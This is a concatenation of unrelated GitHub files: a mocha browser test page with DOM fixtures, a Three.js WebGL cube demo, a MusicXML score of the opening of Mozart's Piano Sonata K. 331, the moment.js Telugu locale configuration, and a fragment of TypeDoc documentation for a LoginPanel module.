id="pageContainer"> <h2 id="title">Minified Web Test: {{file}}</h2> <div><button onclick="document.location.href = 'autorun.html'; return false;">Rerun All Tests</button> <button onclick="document.location.href = 'vistest.html'; return false;">Vistest</button></div> <div id="mocha"></div> <div id="container"> <div id="a" class="x" style="margin-top: 5px;" title="tititi" data-x="bar" data-yy="foo"> <p><b>div id="a" class="x"</b></p> <div id="a_a" class="y z"> <p>div id="a_a" class="y z"</p> </div> <div id="a_b" class="m x z"> <p>div id="a_b" class="m x z"</p> </div> </div> <div id="b" class="n"> <p><b>div id="b" class="n"</b></p> <div id="b_a" class="x y"> <p>div id="b_a" class="x y"</p> </div> <div id="b_b" class="n x"> <p>div id="b_b" class="n x"</p> </div> </div> <div id="c" class="m"> <p><b>div id="b" class="m"</b></p> <div id="c_a" class="x y r-r"> <p>div id="c_a" class="x y r-r"</p> </div> <div id="c_b" class="m z"> <p>div id="c_b" class="m z"</p> </div> </div> </div> <div id="container2"> </div> <div id="cloneTest"> <div class="cloneMe"> <p>Test</p> UglyChar: &szlig; <a href="http://example.com/" title="Teest">Test</a> <strong><span class="bla342">abc<code>def</code>ds</span></strong> <span style="margin: 1px">dd</span> </div> <div id="cloneId">nonono</div> </div> <div id="playground"> </div> <div id="formContainer" style="display: none"> <form id="id1" name="form1"> <input id="id1_1" name="i1_1" value="a" /> <input id="id1_2a" name="i1_2" value="b1" /> <input id="id1_2b" name="i1_2" value="b2" /> <input id="id1_2c" name="i1_2" value="b3" /> <input id="id1_3" name="i1_3" value="c" type="hidden" /> <input id="id1_4" name="i1_4" value="d" type="password" /> <input id="id1_5" name="i1_5" value="e" type="checkbox" /> <input id="id1_6a" name="i1_6" value="f" type="checkbox" checked="checked"/> <input id="id1_6b" name="i1_6" value="g" type="checkbox" checked="checked"/> <input id="id1_6c" name="i1_6" value="h" type="checkbox" /> <input id="id1_6d" name="i1_6" value="i" type="checkbox" checked="checked"/> <input id="id1_7" name="i1_7" value="j" type="checkbox" checked="checked"/> <input id="id1_8a" name="i1_8" value="x" type="radio" /> <input id="id1_8b" name="i1_8" value="y" type="radio" checked="checked" /> <input id="id1_8c" name="i1_8" value="z" type="radio" /> <textarea id="id1_9" name="i1_9">abc</textarea> <input id="id1_10" name="i1_10" /> </form> <form id="id2" name="form2"> <input id="id2_1" name="i2_1" value="bb" /> <input id="id2_2" name="i2_2" value="bc" /> </form> <input id="id3_1" name="i3_1" value="ttt" /> <span>test</span> </div> </div> </body> <script type="text/javascript"> var failures = 0; mocha._reporter = function MHTML(runner, base) { this.html = new Mocha.reporters.HTML(runner, base); runner.on('fail', function() { failures++; }); }; // mocha.checkLeaks(); - disable: does not work with many Chrome extensions if (!isPhantomJS) mocha.run(function() { if (failures == 0) forward(); document.getElementById('title').style.color = failures ? 'red' : 'black'; }); </script> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE HTML> <html lang="en"> <head> <title>mouseCube</title> <meta charset="utf-8"> <style type="text/css"> body { background:#2c3333; color:#000; padding:0; margin:0; overflow:hidden; font-family:sans-serif; text-align:center; } canvas { pointer-events:none; z-index:10; } </style> </head> <body> <!-- test --> <script type="text/javascript" src="build/ThreeExtras.js"></script> <script type="text/javascript" src="greycity.js"></script> <script type="text/javascript" src="Stats.js"></script> <script type="text/javascript"> var SCREEN_WIDTH = window.innerWidth; var SCREEN_HEIGHT = window.innerHeight; var FLOOR = 0; var container; var stats; var camera; var scene; var webglRenderer; var projector; var directionalLight, pointLight; var windowHalfX = window.innerWidth >> 1; var windowHalfY = window.innerHeight >> 1; var render_gl = 1; var has_gl = 0; var mouseX = 0; var mouseY = 0; var followX = 0; var followY = 0; var cubefollowX = 0; var cubefollowY = 0; var emitter; var emitterMesh; var cubeRef; var cubeRefMesh; var cubeArray = []; var r = 0; document.addEventListener('mousemove', onDocumentMouseMove, false); init(); loop(); setInterval(loop, 1000/60); function addMesh( geometry, scale, x, y, z, rx, ry, rz, material, doubleSided ) { var inDouble = doubleSided || false; mesh = new THREE.Mesh( geometry, material ); mesh.scale.x = mesh.scale.y = mesh.scale.z = scale; mesh.position.x = x; mesh.position.y = y; mesh.position.z = z; mesh.rotation.x = rx; mesh.rotation.y = ry; mesh.rotation.z = rz; mesh.overdraw = true; mesh.doubleSided = inDouble; mesh.updateMatrix(); scene.addObject(mesh); return mesh; } function init() { container = document.createElement('div'); document.body.appendChild(container); var aspect = SCREEN_WIDTH / SCREEN_HEIGHT; camera = new THREE.Camera( 75, aspect, 1, 100000 ); camera.position.z = -130; camera.position.x = -450; camera.position.y = FLOOR+20; scene = new THREE.Scene(); projector = new THREE.Projector(); // LIGHTS var ambient = new THREE.AmbientLight( 0x333333 ); scene.addLight( ambient ); directionalLight = new THREE.DirectionalLight( 0xffffff, 1.0 ); directionalLight.position.x = 1; directionalLight.position.y = 1; directionalLight.position.z = 2; directionalLight.position.normalize(); scene.addLight( directionalLight ); greyCity(); //emitter emitter = new Cube( 10, 10, 10, 1, 1 ); emitterMesh = addMesh( emitter, 1, 300, FLOOR, -100, 0,0,0, new THREE.MeshLambertMaterial( { color: 0x33FF33 } ) ); emitterMesh.visible = false; // cubes var cube = new Cube( 10, 10, 10, 1, 1 ); var material = new THREE.MeshLambertMaterial( { color: 0x33DD33 } ); for (var i=0; i<150; ++i ) { var x = camera.position.x; var y = camera.position.y+100; var z = camera.position.z; var c = addMesh( cube, 1, x, FLOOR+150+y, z, 0,0,0, material ); var obj = {c:c, scale:0, alivetime:i}; cubeArray.push(obj); } //cubeRef cubeRef = new Cube( 10, 10, 10, 1, 1 ); cubeRefMesh = addMesh( cubeRef, 1, 50, FLOOR, -130, 0,0,0, new THREE.MeshLambertMaterial( { color: 0xFF3333 } ) ); cubeRefMesh.visible = false; camera.target = cubeRefMesh; // plane plane = new Plane( 100, 100, 1, 1 ); addMesh( plane, 100, 0, FLOOR, 0, -1.57,0,0, new THREE.MeshLambertMaterial( { color:0x777777 } ), true ); addMesh( plane, 100, 0, FLOOR+400, 0, 1.57,0,0, new THREE.MeshLambertMaterial( { color:0xDEFFFF } ), false ); try { webglRenderer = new THREE.WebGLRenderer( scene ); webglRenderer.setFaceCulling(0); webglRenderer.setSize( SCREEN_WIDTH, SCREEN_HEIGHT ); container.appendChild( webglRenderer.domElement ); has_gl = 1; } catch (e) { // need webgl container.innerHTML = "<P><BR><B>WebGL required.</B> You need <a href='http://www.google.com/landing/chrome/beta/' target='_blank'>Google Chrome 9+</a>.</P>"; return; } stats = new Stats(); stats.domElement.style.position = 'absolute'; stats.domElement.style.top = '0px'; stats.domElement.style.zIndex = 100; container.appendChild( stats.domElement ); } function getMaterial() { var c = Math.random() * 0xffffff; return [ new THREE.MeshLambertMaterial( { color:c } ) , new THREE.MeshLambertMaterial( { color:0x333333, wireframe: true } ) ]; } function onDocumentMouseMove(event) { mouseX = event.clientX; mouseY = event.clientY; } function runAll () { for (var i=0; i<cubeArray.length; ++i ) { var obj = cubeArray[i]; var c = obj.c; var scale = obj.scale; var alivetime = obj.alivetime; alivetime += 0.4; // respawn if (alivetime > 150) { c.position.x = emitterMesh.position.x; c.position.y = emitterMesh.position.y; c.position.z = emitterMesh.position.z; c.rotation.x = Math.random()*Math.PI; c.rotation.z = Math.random()*Math.PI; alivetime = 0; } scale = Math.max( (alivetime)/15, 0.25); scale = Math.min(scale,1.5); c.scale.x = c.scale.y = c.scale.z = scale; c.rotation.x += scale/200; c.rotation.z += scale/200; cubeArray[i].scale = scale; cubeArray[i].alivetime = alivetime; } } function updateEmitter() { var moveX = (mouseX-followX)/20; var moveY = (mouseY-followY)/20; followX += moveX; followY += moveY; emitterMesh.position.y = FLOOR; var vector = new THREE.Vector3( ( followX / window.innerWidth ) * 2 - 1, - ( followY / window.innerHeight ) * 2 + 1, 0.5 ); projector.unprojectVector( vector, camera ); var ray = new THREE.Ray( camera.position, vector.subSelf( camera.position ).normalize() ); var intersects = ray.intersectScene( scene ); if ( intersects.length > 0) { for (var i=0; i<intersects.length; ++i ) { var check; if (vector.z < 0) { check = intersects[i].point.z < camera.position.z; } else { check = intersects[i].point.z > camera.position.z; } if (intersects[i].object != emitterMesh && check && intersects[i].distance > 20) { emitterMesh.position = intersects[i].point; break; } } } } function loop() { var dist = 100; camera.position.x += 0.35; if (camera.position.x > 200 ) { camera.position.x = -450; } var mx = ( mouseX - windowHalfX )/300; var my = ( mouseY - windowHalfY )/300; var moveX = (mx-cubefollowX)/20; var moveY = (my-cubefollowY)/20; cubefollowX += moveX; cubefollowY += moveY; cubeRefMesh.position.x = camera.position.x + (dist*Math.cos(cubefollowX)); cubeRefMesh.position.z = camera.position.z + (dist*Math.sin(cubefollowX)); cubeRefMesh.position.y = -(dist*Math.sin(cubefollowY)); updateEmitter(); runAll(); if ( render_gl && has_gl ) webglRenderer.render( scene, camera ); stats.update(); } </script> </body> </html>
{ "pile_set_name": "Github" }
<?xml version="1.0" standalone="no"?> <!DOCTYPE score-partwise PUBLIC "-//Recordare//DTD MusicXML 1.0 Partwise//EN" "http://www.musicxml.org/dtds/partwise.dtd"> <score-partwise> <work> <work-number>K. 331</work-number> <work-title>Piano Sonata in A Major</work-title> </work> <identification> <creator type="composer">Wolfgang Amadeus Mozart</creator> <rights>Copyright © 2003 Recordare LLC</rights> <encoding> <software>Finale 2003 for Windows</software> <software>Dolet for Finale 1.3</software> <encoding-date>2003-03-14</encoding-date> </encoding> </identification> <part-list> <score-part id="P1"> <part-name>Piano</part-name> <score-instrument id="P1-I1"> <instrument-name>Acoustic Grand Piano</instrument-name> </score-instrument> <midi-instrument id="P1-I1"> <midi-channel>1</midi-channel> <midi-program>1</midi-program> </midi-instrument> </score-part> </part-list> <part id="P1"> <measure number="1"> <attributes> <divisions>4</divisions> <key> <fifths>3</fifths> <mode>major</mode> </key> <time> <beats>2</beats> <beat-type>4</beat-type> </time> <staves>2</staves> <clef number="1"> <sign>G</sign> <line>2</line> </clef> <clef number="2"> <sign>F</sign> <line>4</line> </clef> </attributes> <note> <pitch> <step>C</step> <alter>1</alter> <octave>6</octave> </pitch> <duration>8</duration> <voice>1</voice> <type>half</type> <stem>up</stem> <staff>1</staff> <notations> <arpeggiate/> </notations> </note> <backup> <duration>8</duration> </backup> <note> <pitch> <step>C</step> <alter>1</alter> <octave>5</octave> </pitch> <duration>4</duration> <voice>2</voice> <type>quarter</type> <stem>down</stem> <staff>1</staff> <notations> <arpeggiate/> </notations> </note> <note> <chord/> <pitch> <step>E</step> <octave>5</octave> </pitch> <duration>4</duration> <voice>2</voice> <type>quarter</type> <stem>down</stem> <staff>1</staff> <notations> <arpeggiate/> </notations> </note> <note> <chord/> <pitch> <step>A</step> <octave>5</octave> </pitch> <duration>4</duration> <voice>2</voice> <type>quarter</type> <stem>down</stem> <staff>1</staff> <notations> <arpeggiate/> </notations> </note> <forward> <duration>4</duration> <voice>2</voice> <staff>1</staff> </forward> <backup> <duration>8</duration> </backup> <note> <grace/> <pitch> <step>A</step> <octave>2</octave> </pitch> <voice>3</voice> <type>16th</type> <stem>up</stem> <staff>2</staff> <beam number="1">begin</beam> <beam number="2">begin</beam> <notations> <slur type="start" placement="above" number="1"/> </notations> </note> <note> <grace/> <pitch> <step>C</step> <alter>1</alter> <octave>3</octave> </pitch> <voice>3</voice> <type>16th</type> <stem>up</stem> <staff>2</staff> <beam number="1">continue</beam> <beam number="2">continue</beam> </note> <note> <grace/> <pitch> <step>E</step> <octave>3</octave> </pitch> <voice>3</voice> <type>16th</type> <stem>up</stem> <staff>2</staff> <beam number="1">end</beam> <beam number="2">end</beam> </note> <note> <pitch> <step>A</step> <octave>3</octave> </pitch> <duration>2</duration> <voice>3</voice> <type>eighth</type> <stem>down</stem> <staff>2</staff> <beam number="1">begin</beam> <notations> <slur type="stop" number="1"/> </notations> </note> <note> <pitch> <step>A</step> <octave>3</octave> </pitch> <duration>2</duration> <voice>3</voice> <type>eighth</type> <stem>down</stem> <staff>2</staff> <beam number="1">continue</beam> </note> <note> <pitch> <step>A</step> <octave>3</octave> </pitch> <duration>2</duration> <voice>3</voice> <type>eighth</type> <stem>down</stem> <staff>2</staff> <beam number="1">continue</beam> </note> <note> <pitch> <step>A</step> <octave>3</octave> </pitch> <duration>2</duration> <voice>3</voice> <type>eighth</type> <stem>down</stem> <staff>2</staff> <beam number="1">end</beam> </note> </measure> <measure number="2"> <note> <pitch> <step>D</step> <octave>6</octave> </pitch> <duration>1</duration> <voice>1</voice> <type>16th</type> <stem>down</stem> <staff>1</staff> <beam number="1">begin</beam> <beam number="2">begin</beam> <notations> <slur type="start" number="1"/> </notations> </note> <note> <pitch> <step>C</step> <alter>1</alter> <octave>6</octave> </pitch> <duration>1</duration> <voice>1</voice> <type>16th</type> <stem>down</stem> <staff>1</staff> <beam number="1">continue</beam> <beam number="2">continue</beam> <notations> <slur type="stop" number="1"/> </notations> </note> <note> <pitch> <step>B</step> <octave>5</octave> </pitch> <duration>1</duration> <voice>1</voice> <type>16th</type> <stem>down</stem> <staff>1</staff> <beam number="1">continue</beam> <beam number="2">continue</beam> <notations> <articulations> <staccato placement="above"/> </articulations> </notations> </note> <note> <pitch> <step>C</step> <alter>1</alter> <octave>6</octave> </pitch> <duration>1</duration> <voice>1</voice> <type>16th</type> <stem>down</stem> <staff>1</staff> <beam number="1">end</beam> <beam number="2">end</beam> <notations> <articulations> <staccato placement="above"/> </articulations> </notations> </note> <note> <pitch> <step>D</step> <octave>6</octave> </pitch> <duration>1</duration> <voice>1</voice> <type>16th</type> <stem>down</stem> <staff>1</staff> <beam number="1">begin</beam> <beam number="2">begin</beam> <notations> <slur type="start" number="1"/> </notations> </note> <note> <pitch> <step>C</step> <alter>1</alter> <octave>6</octave> </pitch> <duration>1</duration> <voice>1</voice> <type>16th</type> <stem>down</stem> <staff>1</staff> <beam number="1">continue</beam> <beam number="2">continue</beam> <notations> <slur type="stop" number="1"/> </notations> </note> <note> <pitch> <step>B</step> <octave>5</octave> </pitch> <duration>1</duration> <voice>1</voice> <type>16th</type> <stem>down</stem> <staff>1</staff> <beam number="1">continue</beam> <beam number="2">continue</beam> <notations> <articulations> <staccato placement="above"/> </articulations> </notations> </note> <note> <pitch> <step>C</step> <alter>1</alter> <octave>6</octave> </pitch> <duration>1</duration> <voice>1</voice> <type>16th</type> <stem>down</stem> <staff>1</staff> <beam number="1">end</beam> <beam number="2">end</beam> <notations> <articulations> <staccato placement="above"/> </articulations> </notations> </note> <backup> <duration>8</duration> </backup> <note> <grace/> <pitch> <step>A</step> <octave>2</octave> </pitch> <voice>3</voice> <type>16th</type> <stem>up</stem> <staff>2</staff> <beam number="1">begin</beam> <beam number="2">begin</beam> <notations> <slur type="start" placement="above" number="1"/> </notations> </note> <note> <grace/> <pitch> <step>C</step> <alter>1</alter> <octave>3</octave> </pitch> <voice>3</voice> <type>16th</type> <stem>up</stem> <staff>2</staff> <beam number="1">continue</beam> <beam number="2">continue</beam> </note> <note> <grace/> <pitch> <step>E</step> <octave>3</octave> </pitch> <voice>3</voice> <type>16th</type> <stem>up</stem> <staff>2</staff> <beam number="1">end</beam> <beam number="2">end</beam> </note> <note> <pitch> <step>A</step> <octave>3</octave> </pitch> <duration>2</duration> <voice>3</voice> <type>eighth</type> <stem>down</stem> <staff>2</staff> <beam number="1">begin</beam> <notations> <slur type="stop" number="1"/> </notations> </note> <note> <pitch> <step>A</step> <octave>3</octave> </pitch> <duration>2</duration> <voice>3</voice> <type>eighth</type> <stem>down</stem> <staff>2</staff> <beam number="1">continue</beam> </note> <note> <pitch> <step>A</step> <octave>3</octave> </pitch> <duration>2</duration> <voice>3</voice> <type>eighth</type> <stem>down</stem> <staff>2</staff> <beam number="1">continue</beam> </note> <note> <pitch> <step>A</step> <octave>3</octave> </pitch> <duration>2</duration> <voice>3</voice> <type>eighth</type> <stem>down</stem> <staff>2</staff> <beam number="1">end</beam> </note> </measure> <measure number="3"> <note> <pitch> <step>F</step> <alter>1</alter> <octave>5</octave> </pitch> <duration>8</duration> <voice>1</voice> <type>half</type> <stem>down</stem> <staff>1</staff> </note> <note> <chord/> <pitch> <step>A</step> <octave>5</octave> </pitch> <duration>8</duration> <voice>1</voice> <type>half</type> <stem>down</stem> <staff>1</staff> </note> <note> <chord/> <pitch> <step>D</step> <octave>6</octave> </pitch> <duration>8</duration> <voice>1</voice> <type>half</type> <stem>down</stem> <staff>1</staff> </note> <backup> <duration>8</duration> </backup> <note> <grace/> <pitch> <step>D</step> <octave>2</octave> </pitch> <voice>3</voice> <type>16th</type> <stem>up</stem> <staff>2</staff> <beam number="1">begin</beam> <beam number="2">begin</beam> <notations> <slur type="start" placement="above" number="1"/> </notations> </note> <note> <grace/> <pitch> <step>F</step> <alter>1</alter> <octave>2</octave> </pitch> <voice>3</voice> <type>16th</type> <stem>up</stem> <staff>2</staff> <beam number="1">continue</beam> <beam number="2">continue</beam> </note> <note> <grace/> <pitch> <step>A</step> <octave>2</octave> </pitch> <voice>3</voice> <type>16th</type> <stem>up</stem> <staff>2</staff> <beam number="1">end</beam> <beam number="2">end</beam> </note> <note> <pitch> <step>D</step> <octave>3</octave> </pitch> <duration>2</duration> <voice>3</voice> <type>eighth</type> <stem>down</stem> <staff>2</staff> <beam number="1">begin</beam> <notations> <slur type="stop" number="1"/> </notations> </note> <note> <pitch> <step>D</step> <octave>3</octave> </pitch> <duration>2</duration> <voice>3</voice> <type>eighth</type> <stem>down</stem> <staff>2</staff> <beam number="1">continue</beam> </note> <note> <pitch> <step>D</step> <octave>3</octave> </pitch> <duration>2</duration> <voice>3</voice> <type>eighth</type> <stem>down</stem> <staff>2</staff> <beam number="1">continue</beam> </note> <note> <pitch> <step>D</step> <octave>3</octave> </pitch> <duration>2</duration> <voice>3</voice> <type>eighth</type> <stem>down</stem> <staff>2</staff> <beam number="1">end</beam> </note> </measure> <measure number="4"> <note> <grace/> <pitch> <step>D</step> <octave>6</octave> </pitch> <voice>1</voice> <type>16th</type> <stem>up</stem> <staff>1</staff> <notations> <slur type="start" placement="below" number="1"/> </notations> </note> <note> <pitch> <step>E</step> <octave>5</octave> </pitch> <duration>2</duration> <voice>1</voice> <type>eighth</type> <stem>down</stem> <staff>1</staff> <beam number="1">begin</beam> <notations> <slur type="stop" number="1"/> </notations> </note> <note> <chord/> <pitch> <step>A</step> <octave>5</octave> </pitch> <duration>2</duration> <voice>1</voice> <type>eighth</type> <stem>down</stem> <staff>1</staff> </note> <note> <chord/> <pitch> <step>C</step> <alter>1</alter> <octave>6</octave> </pitch> <duration>2</duration> <voice>1</voice> <type>eighth</type> <stem>down</stem> <staff>1</staff> </note> <note> <grace/> <pitch> <step>D</step> <octave>6</octave> </pitch> <voice>1</voice> <type>16th</type> <stem>up</stem> <staff>1</staff> <notations> <slur type="start" placement="below" number="1"/> </notations> </note> <note> <pitch> <step>E</step> <octave>5</octave> </pitch> <duration>2</duration> <voice>1</voice> <type>eighth</type> <stem>down</stem> <staff>1</staff> <beam number="1">continue</beam> <notations> <slur type="stop" number="1"/> </notations> </note> <note> <chord/> <pitch> <step>A</step> <octave>5</octave> </pitch> <duration>2</duration> <voice>1</voice> <type>eighth</type> <stem>down</stem> <staff>1</staff> </note> <note> <chord/> <pitch> <step>C</step> <alter>1</alter> <octave>6</octave> </pitch> <duration>2</duration> <voice>1</voice> <type>eighth</type> <stem>down</stem> <staff>1</staff> </note> <note> <grace/> <pitch> <step>D</step> <octave>6</octave> </pitch> <voice>1</voice> <type>16th</type> <stem>up</stem> <staff>1</staff> <notations> <slur type="start" placement="below" number="1"/> </notations> </note> <note> <pitch> <step>E</step> <octave>5</octave> </pitch> <duration>2</duration> <voice>1</voice> <type>eighth</type> <stem>down</stem> <staff>1</staff> <beam number="1">continue</beam> <notations> <slur type="stop" number="1"/> </notations> </note> <note> <chord/> <pitch> <step>A</step> <octave>5</octave> </pitch> <duration>2</duration> <voice>1</voice> <type>eighth</type> <stem>down</stem> <staff>1</staff> </note> <note> <chord/> <pitch> <step>C</step> <alter>1</alter> <octave>6</octave> </pitch> <duration>2</duration> <voice>1</voice> <type>eighth</type> <stem>down</stem> <staff>1</staff> </note> <note> <grace/> <pitch> <step>D</step> <octave>6</octave> </pitch> <voice>1</voice> <type>16th</type> <stem>up</stem> <staff>1</staff> <notations> <slur type="start" placement="below" number="1"/> </notations> </note> <note> <pitch> <step>E</step> <octave>5</octave> </pitch> <duration>2</duration> <voice>1</voice> <type>eighth</type> <stem>down</stem> <staff>1</staff> <beam number="1">end</beam> <notations> <slur type="stop" number="1"/> </notations> </note> <note> <chord/> <pitch> <step>A</step> <octave>5</octave> </pitch> <duration>2</duration> <voice>1</voice> <type>eighth</type> <stem>down</stem> <staff>1</staff> </note> <note> <chord/> <pitch> <step>C</step> <alter>1</alter> <octave>6</octave> </pitch> <duration>2</duration> <voice>1</voice> <type>eighth</type> <stem>down</stem> <staff>1</staff> </note> <backup> <duration>8</duration> </backup> <note> <grace/> <pitch> <step>A</step> <octave>2</octave> </pitch> <voice>3</voice> <type>16th</type> <stem>up</stem> <staff>2</staff> <beam number="1">begin</beam> <beam number="2">begin</beam> <notations> <slur type="start" placement="above" number="1"/> </notations> </note> <note> <grace/> <pitch> <step>C</step> <alter>1</alter> <octave>3</octave> </pitch> <voice>3</voice> <type>16th</type> <stem>up</stem> <staff>2</staff> <beam number="1">continue</beam> <beam number="2">continue</beam> </note> <note> <grace/> <pitch> <step>E</step> <octave>3</octave> </pitch> <voice>3</voice> <type>16th</type> <stem>up</stem> <staff>2</staff> <beam number="1">end</beam> <beam number="2">end</beam> </note> <note> <pitch> <step>A</step> <octave>3</octave> </pitch> <duration>2</duration> <voice>3</voice> <type>eighth</type> <stem>down</stem> <staff>2</staff> <beam number="1">begin</beam> <notations> <slur type="stop" number="1"/> </notations> </note> <note> <pitch> <step>A</step> <octave>3</octave> </pitch> <duration>2</duration> <voice>3</voice> <type>eighth</type> <stem>down</stem> <staff>2</staff> <beam number="1">continue</beam> </note> <note> <pitch> <step>A</step> <octave>3</octave> </pitch> <duration>2</duration> <voice>3</voice> <type>eighth</type> <stem>down</stem> <staff>2</staff> <beam number="1">continue</beam> </note> <note> <pitch> <step>A</step> <octave>3</octave> </pitch> <duration>2</duration> <voice>3</voice> <type>eighth</type> <stem>down</stem> <staff>2</staff> <beam number="1">end</beam> </note> </measure> <measure number="5"> <note> <pitch> <step>B</step> <octave>5</octave> </pitch> <duration>6</duration> <voice>1</voice> <type>quarter</type> <dot/> <stem>up</stem> <staff>1</staff> <notations> <slur type="start" number="1"/> </notations> </note> <note> <pitch> <step>E</step> <octave>6</octave> </pitch> <duration>2</duration> <voice>1</voice> <type>eighth</type> <stem>up</stem> <staff>1</staff> <notations> <slur type="stop" number="1"/> </notations> </note> <backup> <duration>8</duration> </backup> <note> <pitch> <step>E</step> <octave>5</octave> </pitch> <duration>8</duration> <voice>2</voice> <type>half</type> <stem>down</stem> <staff>1</staff> </note> <note> <chord/> <pitch> <step>G</step> <alter>1</alter> <octave>5</octave> </pitch> <duration>8</duration> <voice>2</voice> <type>half</type> <stem>down</stem> <staff>1</staff> </note> <backup> <duration>8</duration> </backup> <note> <grace/> <pitch> <step>E</step> <octave>2</octave> </pitch> <voice>3</voice> <type>16th</type> <stem>up</stem> <staff>2</staff> <beam number="1">begin</beam> <beam number="2">begin</beam> <notations> <slur type="start" placement="above" number="1"/> </notations> </note> <note> <grace/> <pitch> <step>G</step> <alter>1</alter> <octave>2</octave> </pitch> <voice>3</voice> <type>16th</type> <stem>up</stem> <staff>2</staff> <beam number="1">continue</beam> <beam number="2">continue</beam> </note> <note> <grace/> <pitch> <step>B</step> <octave>2</octave> </pitch> <voice>3</voice> <type>16th</type> <stem>up</stem> <staff>2</staff> <beam number="1">end</beam> <beam number="2">end</beam> </note> <note> <pitch> <step>E</step> <octave>3</octave> </pitch> <duration>2</duration> <voice>3</voice> <type>eighth</type> <stem>down</stem> <staff>2</staff> <beam number="1">begin</beam> <notations> <slur type="stop" number="1"/> </notations> </note> <note> <pitch> <step>E</step> <octave>3</octave> </pitch> <duration>2</duration> <voice>3</voice> <type>eighth</type> <stem>down</stem> <staff>2</staff> <beam number="1">continue</beam> </note> <note> <pitch> <step>E</step> <octave>3</octave> </pitch> <duration>2</duration> <voice>3</voice> <type>eighth</type> <stem>down</stem> <staff>2</staff> <beam number="1">continue</beam> </note> <note> <pitch> <step>E</step> <octave>3</octave> </pitch> <duration>2</duration> <voice>3</voice> <type>eighth</type> <stem>down</stem> <staff>2</staff> <beam number="1">end</beam> </note> </measure> </part> </score-partwise>
{ "pile_set_name": "Github" }
//! moment.js locale configuration //! locale : Telugu [te] //! author : Krishna Chaitanya Thota : https://github.com/kcthota import moment from '../moment'; export default moment.defineLocale('te', { months : 'జనవరి_ఫిబ్రవరి_మార్చి_ఏప్రిల్_మే_జూన్_జూలై_ఆగస్టు_సెప్టెంబర్_అక్టోబర్_నవంబర్_డిసెంబర్'.split('_'), monthsShort : 'జన._ఫిబ్ర._మార్చి_ఏప్రి._మే_జూన్_జూలై_ఆగ._సెప్._అక్టో._నవ._డిసె.'.split('_'), monthsParseExact : true, weekdays : 'ఆదివారం_సోమవారం_మంగళవారం_బుధవారం_గురువారం_శుక్రవారం_శనివారం'.split('_'), weekdaysShort : 'ఆది_సోమ_మంగళ_బుధ_గురు_శుక్ర_శని'.split('_'), weekdaysMin : 'ఆ_సో_మం_బు_గు_శు_శ'.split('_'), longDateFormat : { LT : 'A h:mm', LTS : 'A h:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY, A h:mm', LLLL : 'dddd, D MMMM YYYY, A h:mm' }, calendar : { sameDay : '[నేడు] LT', nextDay : '[రేపు] LT', nextWeek : 'dddd, LT', lastDay : '[నిన్న] LT', lastWeek : '[గత] dddd, LT', sameElse : 'L' }, relativeTime : { future : '%s లో', past : '%s క్రితం', s : 'కొన్ని క్షణాలు', ss : '%d సెకన్లు', m : 'ఒక నిమిషం', mm : '%d నిమిషాలు', h : 'ఒక గంట', hh : '%d గంటలు', d : 'ఒక రోజు', dd : '%d రోజులు', M : 'ఒక నెల', MM : '%d నెలలు', y : 'ఒక సంవత్సరం', yy : '%d సంవత్సరాలు' }, dayOfMonthOrdinalParse : /\d{1,2}వ/, ordinal : '%dవ', meridiemParse: /రాత్రి|ఉదయం|మధ్యాహ్నం|సాయంత్రం/, meridiemHour : function (hour, meridiem) { if (hour === 12) { hour = 0; } if (meridiem === 'రాత్రి') { return hour < 4 ? hour : hour + 12; } else if (meridiem === 'ఉదయం') { return hour; } else if (meridiem === 'మధ్యాహ్నం') { return hour >= 10 ? hour : hour + 12; } else if (meridiem === 'సాయంత్రం') { return hour + 12; } }, meridiem : function (hour, minute, isLower) { if (hour < 4) { return 'రాత్రి'; } else if (hour < 10) { return 'ఉదయం'; } else if (hour < 17) { return 'మధ్యాహ్నం'; } else if (hour < 20) { return 'సాయంత్రం'; } else { return 'రాత్రి'; } }, week : { dow : 0, // Sunday is the first day of the week. doy : 6 // The week that contains Jan 1st is the first week of the year. } });
{ "pile_set_name": "Github" }
<!doctype html> <html class="default no-js"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>&quot;comps/entry/LoginPanel&quot; | kitechDocs</title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="../assets/css/main.css"> <script src="../assets/js/modernizr.js"></script> </head> <body> <header> <div class="tsd-page-toolbar"> <div class="container"> <div class="table-wrap"> <div class="table-cell" id="tsd-search" data-index="../assets/js/search.js" data-base=".."> <div class="field"> <label for="tsd-search-field" class="tsd-widget search no-caption">Search</label> <input id="tsd-search-field" type="text" /> </div> <ul class="results"> <li class="state loading">Preparing search index...</li> <li class="state failure">The search index is not available</li> </ul> <a href="../index.html" class="title">kitechDocs</a> </div> <div class="table-cell" id="tsd-widgets"> <div id="tsd-filter"> <a href="#" class="tsd-widget options no-caption" data-toggle="options">Options</a> <div class="tsd-filter-group"> <div class="tsd-select" id="tsd-filter-visibility"> <span class="tsd-select-label">All</span> <ul class="tsd-select-list"> <li data-value="public">Public</li> <li data-value="protected">Public/Protected</li> <li data-value="private" class="selected">All</li> </ul> </div> <input type="checkbox" id="tsd-filter-inherited" checked /> <label class="tsd-widget" for="tsd-filter-inherited">Inherited</label> <input type="checkbox" id="tsd-filter-externals" checked /> <label class="tsd-widget" for="tsd-filter-externals">Externals</label> <input type="checkbox" id="tsd-filter-only-exported" /> <label class="tsd-widget" for="tsd-filter-only-exported">Only exported</label> </div> </div> <a href="#" class="tsd-widget menu no-caption" data-toggle="menu">Menu</a> </div> </div> </div> </div> <div class="tsd-page-title"> <div class="container"> <ul class="tsd-breadcrumb"> <li> <a href="../globals.html">Globals</a> </li> <li> <a href="_comps_entry_loginpanel_.html">&quot;comps/entry/LoginPanel&quot;</a> </li> </ul> <h1>External module &quot;comps/entry/LoginPanel&quot;</h1> </div> </div> </header> <div class="container container-main"> <div class="row"> <div class="col-8 col-content"> <section class="tsd-panel-group tsd-index-group"> <h2>Index</h2> <section class="tsd-panel tsd-index-panel"> <div class="tsd-index-content"> <section class="tsd-index-section tsd-is-external"> <h3>Classes</h3> <ul class="tsd-index-list"> <li class="tsd-kind-class tsd-parent-kind-external-module tsd-is-external"><a href="../classes/_comps_entry_loginpanel_.loginpanel.html" class="tsd-kind-icon">Login<wbr>Panel</a></li> <li class="tsd-kind-class tsd-parent-kind-external-module tsd-is-external"><a href="../classes/_comps_entry_loginpanel_.user.html" class="tsd-kind-icon">User</a></li> </ul> </section> </div> </section> </section> </div> <div class="col-4 col-menu menu-sticky-wrap menu-highlight"> <nav class="tsd-navigation primary"> <ul> <li class="globals "> 